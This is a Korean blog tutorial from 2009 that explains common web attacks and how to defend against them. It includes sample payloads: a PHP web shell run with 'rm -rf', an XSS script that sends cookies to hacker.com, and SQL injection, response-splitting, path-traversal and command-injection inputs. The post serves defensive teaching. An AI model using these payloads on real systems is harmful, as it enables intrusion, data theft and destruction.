'웹 해킹 원리와 방어 방법'에 해당되는 글 1건

  1. 2009.10.05 웹 해킹 원리와 방어 방법 1
90.개발관련문서2009. 10. 5. 22:09
반응형
"인터넷은 웹이다."라고 할 수 있을 정도로 웹은 인터넷의 커다란 부분을 차지합니다. 실제로 비전공자에게는 "인터넷 == 웹" 으로 통하는 경우도 많습니다. 어떠한 운영체제도 기본적으로 웹 브라우져를 제공하며, 심지어 새롭게 출시되는 모바일 장치도 웹 브라우져를 지원하지 않고는 사용자들에게 어필할 수 없을 정도로 웹에대한 의존도가 매우 커졌습니다. 그래서 각종 금융서비스, 국가 전산 그리고 전자상거래등이 웹을 통해 서비스 됩니다. 별도의 클라이언트를 개발하여 서비스해도 되지만, 사용자에게 친숙한 사용 방법을 제공할 수 있으며, 웹 서비스를 이용하면 새로운 프로그램을 설치해야 하는 수고로움을 덜 수 있기 때문에 웹을 통해 서비스 하고 있는 것입니다.

그래서 지난 10년간 인터넷이 성장하는 동안, 웹 보안의 중요성이 매우 크게 증가 하였습니다. 이것은 해킹/보안 분야에서의 정설인 "서비스의 전산에대한 의존도가 커질수록 보안 위협도 비례해서 커진다"라는 공식이 적용되기 때문입니다. 실제로 지금도 수많은 웹사이트가 국경을 넘어서 수많은 해커들에게 공격받고 있습니다. 그 피해는 하나의 웹 사이트의 보안 사고가 사회 전체에 영향을 끼칠 정도로 큽니다.

웹은 일반 시스템에 비해 보안에 취약합니다. 그 이유는 웹 프로그래밍이 매우 쉽고 누구나 접근 가능한 것을 목적으로 설계되었기 때문에 일반인들도 몇일만 공부하면 그럴싸한 웹 사이트를 뚝딱 만들어낼 수 있기 때문입니다. 왜 만들기 쉬운것이 보안에 문제가 되는가? 라는 질문에 대한 답변은, "모든 해킹은 프로그래머의 실수에 그 기반을 두기 때문입니다." 라고 할 수 있겠습니다. 즉, 고도의 훈련된 전문가가 만드는 프로그램은 실수가 적기 때문에, 해킹 당할 확률이 적은 반면 그렇지 않은 사람이 만드는 프로그램에는 실수가 많아 해킹 당할 확률이 높아진다고 할 수 있는 것입니다.

그래서 웹 해킹 방법을 분류하여 설명하고, 어떤 실수가 해킹 사고로 이어지는지 그리고 어떻게 해결할 수 있는지 설명하도록 하겠습니다. 소개드리는 해킹 방법은 그 원리를 설명하기 위한 예시이지만, 지금도 벌어지고 있는 실제 해킹 사고 중 거의 대부분은, 소개시켜드리는 원리와 약간의 응용으로 작동한다는 것 꼭 명심하시기 바랍니다.

다음은 웹 해킹의 종류를 방식에 따라 나열한 것입니다. 이 웹 해킹 종류를 모두 소개해드리도록 하겠습니다. 참고로 본 문서에서 정의하는 "웹 어플리케이션"이라는 용어는 서버 사이드에서 동작하는 PHP, JSP 그리고 ASP와 같은 어플리케이션을 말합니다. 즉, 사용자와 웹 서버 사이에서 정보를 입력 받고 가공하여 출력해주는 역할을 하는 어플리케이션을 지칭하는 것 입니다.

  • Injecting Malicious Data
    • Parameter Tampering
    • URL Tampering
    • Hidden Field Manipulation
    • HTTP Header Manipulation
    • Cookie Poisoning
    • Executable File Upload
  • Exploting Unchecked Input
    • SQL Injection
    • Cross-site Scripting
    • HTTP Response Splitting
    • Path Traversal
    • Commnad Injection

1. Injecting Malicious Data

Injecting Malicious Data는 웹 어플리케이션에 조작된 데이터를 입력하여 공격하는 것입니다. 예를 들어 웹을 기반으로 경품행사를 하는데 랜덤하게 발생되는 경품 당첨 번호를 자신이 인위적으로 조작하여 입력하는 것 같은것을 말하는 것입니다. 한가지씩 살펴보며 이해를 돕도록 하겠습니다.

1.1. Parameter Tampering

Parameter Tampering 공격은 웹 어플리케이션에서 사용하는 파라메터(매개변수, Parameter)를 강제로 입력하여 어플리케이션의 의도대로 동작하지 않게 하는 공격입니다. 예를 들어 다음과 같은 코드가 있다고 가정합니다.

[HTML code]
<script> var form = document.Login;
id(!form.id.value)
{
return false;
}
</script>

[Java code]
String strID = request.getParameter("id");

위 코드의 원래 의도는 사용자가 id 에디트박스가 빈칸이 될 수 없도록 하는 것입니다. 하지만 위 코드는 HTML 파일을 PC에 따로 저장해서 저 스크립트를 빼버리는 것 만으로 의도를 빚겨나갈 수 있습니다. 이런 공격을 해결하기 위해서는 Java script에서 아이디 필드가 비었는지 체크하는 것이 아니고, 서버사이드에서도 id 파라메터가 비어있는지 체크해야 합니다.

전자 상거래 초창기에는 위와 같은 사례가 많았습니다. 예를 들어 상품을 보여주는데 상품 가격을 Read-only 속성이 있는 에디트박스에 넣고 서버사이드에서는 해당 에디트 박스에서 값을 읽어와 사용자의 포인트를 차감하면서 상품을 배송해주었던 사례도 있습니다. 이것은 에디트박스의 Read-only 속성만을 제거하면 10원으로 100,000원 짜리 물건을 살 수 있었다는 것을 의미합니다.

요즘에 이런 실수를 하는 곳은 거의 없지만, 급하게 만들어진 매우 큰 사이트에서는 아직도 저런 코드가 종종 보이기도 합니다.

1.2.  URL Tampering

URL Tampering은 URL로 중요한 데이터를 보내는 경우에 이를 조작하여 공격자가 의도하는대로 동작을 바꾸는 것 공격 방식 입니다.

[정상적인 URL]
http://www.bank.com/myaccount?Sender=Attacker&Receiver=Attacker2&DebitAmount=1000

[공격 URL]
http://www.bank.com/myaccount?Sender=Attacker&Receiver=Attacker2&DebitAmount=-5000

위 예제는 정상적인 URL이 실행되면 Attacker라는 ID에서 1000 포인트를 차감하여 Attacker2라는 사용자에게 1000 포인트를 전송한다고 가정합니다. 이때 Attacker가 위 URL을 -5000이라고 바꾸어 실행하면 어떻게 될까요? 분명 내부적으로는 다음과 같은 코드가 동작할 것입니다.

Attacker.Point -= DebitAmount;
Attacker2.Point += DebitAmount;

-5000이라는 입력은 위 코드에 들어가서 반대로 Attacker2에서 -5000을 빼고, 공격자 본인에게 +5000을 하게 될 것입니다. 이런 공격 방식 또한 대부분 인지하고있어서 위와 같은 문제가 발생하지 않게 하고 있습니다. 하지만 중요한것은 실수라는 것입니다. 위와 같은 공격에대해 확실한 인지 없이, 수많은 코드를 작성하다보면 한두가지 필드에서 실수를 하게 되는 경우가 있습니다. 해커는 그런 빈틈을 이용해 큰 결과를 얻어내곤 합니다.

URL Tampering을 막기 위해서는, 우선 GET 방식으로 중요한 데이터를 주고 받지 말아야 하겠고, 그 후에 서버사이드에서 넘어오는 모든 값을 일일히 체크해야 할 것입니다. 위와 같은 코드에서 DebitAmount에 마이너스 값이 들어오면 경고를 하고 코드가 동작하지 않도록 해야 겠습니다.

마이너스 값 입력 문제는, 예전에 어떤 온라인 게임상에서 송금 기능을 이용할때 같은 문제가 있었습니다. 마이너스 값 입력 문제는 특히 더욱 조심해야 할것입니다.

다음 중, 하 편에서 나머지 웹 해킹 원리를 마져 다루도록 하겠습니다.


---------------------------------------------------------------

1.3. Hidden Field Manipulation

Hidden Field Manipulation 공격은 웹 페이지가 Hidden 태그를 이용하여 값을 웹 어플리케이션으로 전달하는 방법을 이용하는 공격입니다. 본 공격 또한 마찬가지로 웹 페이지를 로컬에 저장한 후 태그 값을 수정하여 실행하는 것 많으로도 공격이 가능합니다. 최근에 나오는 브라우져는 브라우져에서 바로 값을 수정하여 실행시킬 수 있기 때문에 더욱 공격이 쉬워집니다.

실제 코드를 예로 들어 살펴보면 공격은 다음과 같이 이루어 집니다.


[정상적인 HTML 코드]
<input type="hidden" name="price" value="100000">

[수정한 HTML 코드]
<input ytpe="hidden" name="price" value="10">

HTML에서 웹 어플리케이션으로 값을 전달할 때, 프로그래머가 귀찮아서 또는 그리 중요하지 않은 정보라고 생각되어서 위와 같이 처리하는 경우가 많이 있습니다. 하지만 모든 해킹은 중요하지 않은 정보를 조작하므로서 중요한 정보에 영향을 주는 방법으로 이루어진다는 것을 명심해야 하겠습니다. 이 공격을 해결하지 위해서는 아무리 중요하지 않은 정보라도 Hidden 태그로 처리하기 보다는 서버사이드에서 DB와 연동하여 직접 처리해야 합니다.

1.4. HTTP Header Manipulation

HTTP Header Manipulation은 웹 어플리케이션이 HTTP 헤더의 정보를 이용할 때, 이를 조작하여 웹 어플리케이션이 오동작 하도록 유인하는 공격 방식입니다. 예를 들어 A 사이트를 통해서 B 사이트로 들어오는 정보를 특별하게 처리하기 위해 HTTP Header의 Referer 필드를 이용하는 경우가 있는데 이것은 충분히 조작이 가능합니다.

[HTTP Header]
Get Shell.php
RERFERER http://trust.com

B 사이트에서 Shell.php 요청 명령을 받았을 때, 위 박스에 있는 헤더 처럼 trust.com 사이트를 통해 들어온 명령이면 처리하고 그렇지 않으면 거부하는 코드가 있다고 가정했을 때, 이것은 Victim.com에서도 Header만 변경해서 충분히 수행할 수 있습니다.  이 공격을 방어하기 위해서는 HTTP Header를 신뢰하지 않아야 합니다.

1.5. Cookie Poisoning

Cookie Poisioning은 Cookie를 조작하여 원하는 결과를 도출해 낼 때 사용합니다. Cookie란 웹 사이트의 특정 정보를 저장하는 기법으로 사용자의  PC나 장치에 저장되며 서버에도 저장될 수 있습니다. 보통 Cookie에는 사용자의 정보를 많이 저장하는데 물건을 구매하거나 메일을 보낼 때 Cookie를 사용한다면 이를 조작하여 다른 결과를 도출해 낼 수 있습니다.

[Cookie.txt]
ID=Victim SessionID=102

[Web application]
GetCookie(ID)->Point -= 100000;
GetCookie(ID)->BuyProduct("컴퓨터");

위 예제는 사용자의 정보를 쿠키에 저장한 후, 물건을 구매할 때 서버에서 이 정보를 불러와서 물건을 결제하는 코드입니다. 이때 사용자의 ID는 사용자의 PC에 있는 쿠키에 저장되어 있으므로 이 쿠키를 조작한다면 내가 원하는 사람에게 결제를 하면서 나에게 배송되게 할 수 있는 것입니다. 이를 해결하기 위해서는 세션을 이용하고, 모든 중요한 정보는 서버사이드에서 처리해야 합니다.

1.6. Executable File Upload

웹 서버에서 실행될 수 있는 파일(PHP, JSP, ASP 등)을 업로드하여 원하는 코드를 실행시키는 공격 방법입니다. 웹 초창기에 굉장히 유행했던 공격 방식이였습니다. 웹 초기에는 보안에 큰 신경을 쓰지 않아서, 대부분의 게시판에 실행 가능한 파일이 업로드 되었었습니다.

[Hack.php]
passthru($cmd)

만약 PHP가 동작하는 웹 사이트에 Hack.php 파일이 없로드 된다면 http://victim.com/Hack.php?cmd="rm -rf *" 와 같은 URL에 접근하여 웹 서버 내부에 침투할 수 있게 됩니다. cmd에 넣는 모든 쉘 명령어를 웹서버가 처리하게 되는 것이죠. 최근에는 이 공격은 거의 통하지 않습니다. 워낙에 고전적인 방식이라 대부분이 PHP, JSP, ASP 등의 파일이 업로드 되는 것을 막기 때문입니다. 하지만 워낙 고전이라는 것에 헛점이 있어서 모두가 안심하고 있을 때, 몇년전에 Apache 서버의 버그로 이 공격이 일파만파 다시 시도되었었습니다. 그것은 Apache의 기능 중 접속 국가별로 다른 페이지를 보여주기 위해 .kr, .jp 와 같은 확장자를 사용하는 옵션이 있었는데, 서버사이드에서는 끝의 확장자가 .php만 막을 뿐이였고, 아파치는 .php.kr 또한 php 파일로 처리했던 것이죠. 불과 이삼년전의 일입니다. 또 이런식의 버그가 항상 도사리고 있다는 것 명심하시기 바랍니다.

다음 하편에서는 Exploiting Unchekced Input의 해킹 방법을 모두 알아보도록 하겠습니다.



--------------------------------------------------------------------------------

2.1. SQL Injection
SQL injection 은 사용자의 입력이 back-end database에 바로 전달 될 때, 입력에 sql문을 넣어서 DB를 조작할 수 있는 매우 치명적인 공격 방법입니다.











[Web application]
strID = request.getParameter("id");
strPassword = request.getParameter("password");
result = Query("select count(*) from User" + "where id="  + strID+ "password =" + strPassword);
if(result == 1)
{
echo "로그인 성공";
}
[HTML]
<input type="text" name="id">
<input type="text" name="password">

예를 들어 위와 같이 로그인 하는 코드에서 사용자의 입력을 여과 없이 그대로 받아 들인다고 가정합니다. 이 때 name에 getroot'-- 를 입력한다면 어떤 결과가 발생할까요? 쿼리는 SELECT count(*) from USER where id=getroot'-- password = 과 같이 입력될 것입니다. '--는 sql문에서 주석에 해당하기 때문에 id=getroot 까지만 쿼리문으로 인식되어 패스워드의 입력에 상관없이 무조건 getroot로 로그인되는 것입니다. SQL Injection은 이제 서버사이드의 언어 자체에서 거르는 기능을 통해 크게 발생하고 있지는 않지만, 방어를 우회할 수 있는 많은 응용 방법이 나오고 있고, 아직까지 가장 광범위하게 사용되고 있는 공격 방식입니다. 이를 방어하기 위해서는 HTML로 부터 입력을 받을 때 특수 문자나 여러가지 상황을 고려해 방어하거나, 입력받는 문자를 스트링으로 강제 변환하여 받는 방법 등으로 해결해야 할 것 입니다.

2.2. Cross-site Scripting

Cross-site Scripting은 말 그대로 사이트를 넘어 스크립트를 실행하는 공격을 말합니다. 웹서버를 공격하는 방식이 아닌 사이트를 통해 다른 사용자를 공격하는 것 입니다. 게시판과 같이 동적으로 생성되는 Page에 조작된 코드를 넣어서 다른 사용자에게 공격자가 원하는 코드를 실행하게 하며, 이를 통해 다른 사용자의 쿠기를 자신의 메일로 전송하게 하거나, 다른 사용자에게 악성 코드를 설치하는 등 여러가지 공격을 수행합니다. 몇년 전 한 해커가 리니지 게임의 아이디와 패스워드를 빼내기 위해 리니지 커뮤니티에 악성 코드를 올려놓고, 감염된 사용자의 아이디와 패스워드를 대량으로 빼내가서 사회적으로 큰 이슈가 되었던적이 있었습니다. 그리고 윈도우에서 그래픽 파일을 처리하는 과정에서 발생하는 Buffer overflow를 이용하여 웹에 조작된 그림 파일을 올려놓고, 다른 사용자가 그 그림을 보는 것 만으로도 악성코드가 PC에 설치되게 했던 공격도 있었습니다. 싸이월드의 방문자 추적 시스템도 이와 같은 공격 방식으로 이루어 지는 것이다. Cross-site Scripting은 근복적인 해결책이 없는 공격 방식으로서 굉장히 유의하지 않으면 막기가 힘든 방법입니다.

<script>
String strCookie = Document.GetCookie();
Redirect(http://www.hacker.com/SaveCookie?Data=strCookie);
</script>

이 공격 방식의 예로는 위의 박스와 같은 코드를 자바 스크립트가 동작하는 페이지에 삽입하여, 다른 사용자의 쿠키를 자신의 서버에 저장하는 방식이 있을 수 있습니다. 이와 같은 버그는 예전 대형 포탈 사이트에서도 동작하여 사용자의 많은 정보가 유출되기도 했었습니다.

2.3. HTTP Response Splitting

HTTP Response Splitting 공격은 웹 어플리케이션이 HTTP response가 분리될 수 있는 보안 취약점을 가지고 있다면 응답 메시지를 조작하여 Proxy 서버를 공격자의 의도대로 조작할 수 있는 공격 방식입니다. 공격받은 Proxy 서버를 사용하는 모든 사용자는 조작된 페이지를 보게 될 수 있습니다.

[JSP]
response.sendRedirect("/by_lang.jsp?lang="+request.getParameter("lang"));

만약 JSP에서 위와 같은 코드를 사용한다면 공격자가 다음과 같은 코드를 보내서 프록시에게 응답 패킷이 두개라고 착각하게 만들 수 있습니다.

[공격 코드]
HTTP://victim.com/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a0d%0a<html>Getroot</html>

http://victim.com//index.html

서버사이드에서는 공격 코드에 있는 인자를 그대로 받아서 처리하기 때문에 foobar 이후의 코드를 그대로 응답에 사용하게 될 것입니다. 이 때 공격자가 http://victim.com/index.html을 빠르게 요청하면 프록시 서버에서는 다음과 같이 응답이 온것으로 착각하게 됩니다.

HTTP/1.1 302 Moved Temporarily

Date: Wed, 24 Dec 2003 15:26:41 GMT

Location: http:// victim.com /by_lang.jsp?lang=foobar

Content-Length: 0


<index.html 에 매칭>

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 19

<html>Getroot</html>

따라서 해당 프록시를 사용하는 사용자는 http://victim.com/index.html 에 접근할 때 마다 Getroot 라는 조작된 페이지를 보게 될 것 입니다. 매우 많은 사용자가 사용하는 프록시 서버라면 Cross-site scripting과 결합하여 모든 URL로부터 악성코드가 감염되도록 조작할 수 있을 것입니다.

2.4. Path Traversal
Path Traversal은 웹 페이지에서 전달 받은 인자를 그대로 Path로 사용할 때, 해당 값을 조작하여 원하는 파일에 접근할 수 있게 되는 방식입니다.

[정상적인 URL]

http://www.victim.com/OpenFile.jsp?text.txt


[공격]

http://www.victim.com/OpenFile.jsp?../../etc/passwd


정상적인 URL에서는 text.txt 와 같이 정상적인 파일에 접근하는 것으로 사용하지만, 공격자가 ../../을 사용하므로서 다른 시스템의 오픈되지 않은 다른 디렉토리에 접근할 수 있는 여지가 발생하는 것입니다. 이런 공격을 방어하기 위해서는 사용자의 입력을 그대로 시스템에서 사용하지 말아야 합니다. 이 공격 방식은 현재 거의 대부분 통하지 않겠지만 이를 응용한 다른 방식이 많이 통하고 있다는 것 꼭 명심하고, 사용자의 입력을 시스템에서 그대로 사용하는 것을 최대한 방지해야 합니다.

2.5. Commnad Injection
Commnad Injection은 웹 어플리케이션에서 사용자의 입력을 직접적인 Shell 명령으로 이용할 때 이를 조작하여 원하는 명령을 실행할 수 있는 공격 방식입니다.

[ListFile.php]
Passthru(ls $path);

위와 같이 사용자에게 path라는 인자를 받아서 이를 ls 에 사용하여 원하는 디렉토리의 파일 목록을 보여주는 코드가 있다고 가정하겠습니다. 프로그래머는 당연히 ls 명령이므로 보안상 문제가 없을것이라고 예상하겠지만 다음과 같은 입력을 하여 시스템에 모든 명령을 내릴 수 있습니다.

[공격]
http://www.victim.com/ListFile.php?paht="/etc/;rm -rf /*"

명령어와 명령어 사이에 ; 를 입력하면 두가지 명령어가 순차적으로 수행되는 쉘 기능이 있기 때문에 위 공격 코드는 ls /etc와 rm -rf /* 명령어 두개가 동시에 수행되는 것입니다. 이것은 매우 심각한 보안 문제를 일으킵니다. 이 문제를 해결하기 위해서는 사용자의 입력을 그대로 쉘 명령으로 수행하면 안됩니다. 쿼리문도 마찮가지이고, 어떤 상황에서도 모든 사용자의 입력은 한번 가공해서 처리해야 한다. 

이로서 거의 대부분의 웹 해킹 방식의 원리를 정리하였습니다. 그대로 사용하면 현재는 거의 통하지 않는 공격 방식이지만(실수가 많은 사이트는 아직도 많은 버그가 발견되곤 합니다.) 최신 해킹 기법도 이 틀에서 벗어나지 않고, 응용 수준에서 이루어 지기 때문에 이 원리만 파악하고 방어를 철저히 해놓아도 공격에 쉽게 노출되지 않을 것입니다.

감사합니다.





출처 : http://getroot.tistory.com
Posted by 1010